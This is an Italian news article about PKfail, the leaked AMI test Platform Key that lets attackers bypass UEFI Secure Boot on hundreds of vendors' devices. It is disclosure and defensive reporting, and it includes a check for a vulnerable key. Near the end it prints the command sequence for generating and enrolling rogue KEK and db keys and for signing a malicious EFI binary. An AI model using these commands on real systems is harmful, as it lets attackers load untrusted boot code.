Gli esperti di sicurezza di Binarly hanno scoperto la possibilità di bypassare la modalità di avvio sicuro UEFI Secure Boot su oltre 800 prodotti rilasciati da Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo e Supermicro. Il problema è stato denominato PKfail ed è legato all'uso di una chiave di piattaforma (PK, Platform Key) non attendibile, generata da AMI (American Megatrends International) e fornita come esempio di test. I firmware più antichi che utilizzavano questa chiave di test sono stati rilasciati nel 2012, mentre i più recenti risalgono a giugno 2024. Secondo gli esperti, più del 10% di tutti i firmware verificati è suscettibile a questo problema.
Nelle impostazioni della chiave era specificato che non era attendibile e non doveva essere fornita nei prodotti. Si presumeva che questa chiave di test dovesse essere sostituita con una proprietaria, ma i produttori non hanno prestato attenzione all'avviso e hanno utilizzato nei firmware finali una chiave comune standard, inviata a tutti i partner e clienti di AMI.
La parte riservata della chiave AMI, necessaria per la creazione di firme digitali, è diventata pubblica dopo una fuga di informazioni da uno dei produttori hardware, il cui dipendente ha accidentalmente caricato in un repository pubblico su GitHub codice contenente tale chiave. La chiave privata era inclusa in un file crittografato, il cui processo di crittografia ha utilizzato una semplice password di 4 caratteri, facilmente indovinabile tramite un attacco di forza bruta.
La chiave della piattaforma è utilizzata come base di fiducia per la certificazione del database delle chiavi per il Secure Boot. Ottenere la parte segreta della chiave della piattaforma compromette l'intera catena di fiducia coinvolta nella verifica della validità dei componenti del sistema in fase di avvio: conoscendo la chiave della piattaforma è possibile eludere la protezione del Secure Boot e inserire componenti personalizzati tramite la manipolazione della chiave KEK (Key Exchange Key) e dei database "db" (Signature Database) e "dbx" (Forbidden Signature Database). KEK è responsabile della creazione della catena di fiducia tra il firmware e il sistema operativo, "db" contiene certificati e firme per il bootloader e i componenti di terze parti UEFI, mentre "dbx" include firme revocate di noti componenti dannosi.
Per eseguire un attacco, è sufficiente generare nuove chiavi e certificati per KEK e db, quindi utilizzare la chiave di test della piattaforma, resa pubblica, per caricare il certificato KEK creato nel firmware UEFI. Dopo aver caricato il certificato KEK nel firmware, è possibile utilizzare la chiave privata associata per caricare un nuovo certificato nel database db. Dopo aver caricato il certificato db, la chiave privata associata può essere utilizzata per firmare i componenti EFI caricati. openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY KEK/" -out KEK.crt openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY db/" -out db.crt efi-updatevar -a -c KEK.crt -k PK.key KEK efi-updatevar -a -c db.crt -k KEK.key db sbsign —key db.key —cert db.crt —output rogue.efi.signed rogue.efi
Per verificare la correttezza della chiave della piattaforma, è sufficiente eseguire lo strumento "efi-readvar -v PK" dal pacchetto efitools e assicurarsi che la chiave della piattaforma non sia un test: efi-readvar -v PK Variabile PK, lunghezza 862 PK: Elenco 0, tipo X509 Firma 0, dimensione 834, proprietario 26dc4851-195f-4ae1-9a19-fbf883bbb35e Soggetto: CN=NON FIDARTI — AMI Test PK Emittente: CN=NON FIDARTI — AMI Test PK
Fonte: opennet.ru
